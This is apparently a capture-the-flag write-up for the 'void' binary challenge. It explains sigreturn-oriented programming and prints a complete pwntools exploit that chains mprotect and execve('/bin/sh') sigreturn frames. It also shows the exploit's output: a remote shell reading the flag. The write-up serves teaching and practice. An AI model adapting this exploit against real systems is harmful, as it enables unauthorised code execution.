# Original witeup [here](https://hackappatoi.github.io/void/)
This is the output of checksec over the ELF of this challenge.
```Arch:     amd64-64-littleRELRO:    No RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)```
This was a cool little srop challenge! 
the source code of this challenge was very tiny. This was the description "Can't exploit it if there isn't anything to exploit, right? NX, no libc, what else even can you do?!"
```cvoid main() {    asm    (        "mov $0, %rax;"        "mov $0, %rdi;"        "mov %rsp, %rsi;"        "mov $2000, %rdx;"        "syscall;"    );}
int _start() {	main();    asm(    	"mov $60, %rax;"    	"mov $0, %rdi;"    	"syscall;"    );}```
As we can see the binary will read 2000 byte directly into the stack. There was only few gadget usefulbut there was a syscall gadget, and this, with this gadget we can perform srop since also the number of bytes read is enough for this technique.
In order to perform this technique is required a syscall gadged and a way to set the rax register.In this binary we haven't a direct pop rax gadget, but we can set the rax value using th return of the read syscall.
This technique abuses of the ```sigreturn``` syscall (id is 15 for 64 bit ). This syscall usually restore the register state after a signal handler returns. So usually is never directly called by a user. The stack contain the sigcontext structures that contain all the registers, so if we can write enough byte in the stack we can control all the registers value.
Pwntools has some useful function that create a sigreturn frame (sigcontext) that will contain the value of the registers.
My first plan was to call mprotect and then inject a shellcode, but then I have only called execve with /bin/sh.
So I have used the first SigreturnFrame to perform a stack pivot, so is not very elegant but it works! After te first syscall (mprotect) the rsp point to a well know address and now I can point to the b'/bin/sh\x00' located at the end of the second sigreturn frame (execve)
This is my exploit
```pythonfrom pwn import *
context.binary = elf = ELF('./void')
#p = elf.process()#gdb.attach(p)p = remote("tamuctf.com", 443, ssl=True, sni="void")
base_address_text = 0x400000
sys_ptr =     0x0000000000401018syscall = p64(sys_ptr)vuln    = p64(elf.sym.main)
vuln_ptr = next(elf.search(b'\x00\x10\x40')) # ptr prt to mainbin_addr = 0x400198 #searched in gdb since now the stack position is known
frame_mprotect = SigreturnFrame(kernel = 'amd64')frame_mprotect.rax = 0x0aframe_mprotect.rdi = base_address_textframe_mprotect.rsi = 0x2000frame_mprotect.rdx = 6#7frame_mprotect.rsp = vuln_ptrframe_mprotect.rip = sys_ptr
frame_execve = SigreturnFrame(kernel = 'amd64')frame_execve.rax = 0x3bframe_execve.rdi = bin_addrframe_execve.rsi = 0frame_execve.rdx = 0frame_execve.rip = sys_ptr
payload = vuln + syscall + bytes(frame_mprotect) 
p.sendline(payload)log.info('Press any key')input()p.sendline(payload[8:8+14]) #set rax to 0xflog.info('Press any key')input()payload = vuln + syscall + bytes(frame_execve) +b'/bin/sh\x00'p.sendline(payload)log.info('Press any key')input()p.sendline(payload[8:8+14]) #set rax to 0xf
p.interactive()```
and this is the output:
```texteurus@node-01-00:~/Scaricati/void$ python3 solver-template.py [*] '/home/eurus/Scaricati/void/void'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to tamuctf.com on port 443: Done[*] Press any key
[*] Press any key
[*] Press any key
[*] Switching to interactive mode$ lsdocker_entrypoint.shflag.txtvoid$ cat flag.txtgigem{1_6u355_7h475_h0w_w3_3xpl017_17}$ [*] Interrupted[*] Closed connection to tamuctf.com port 443```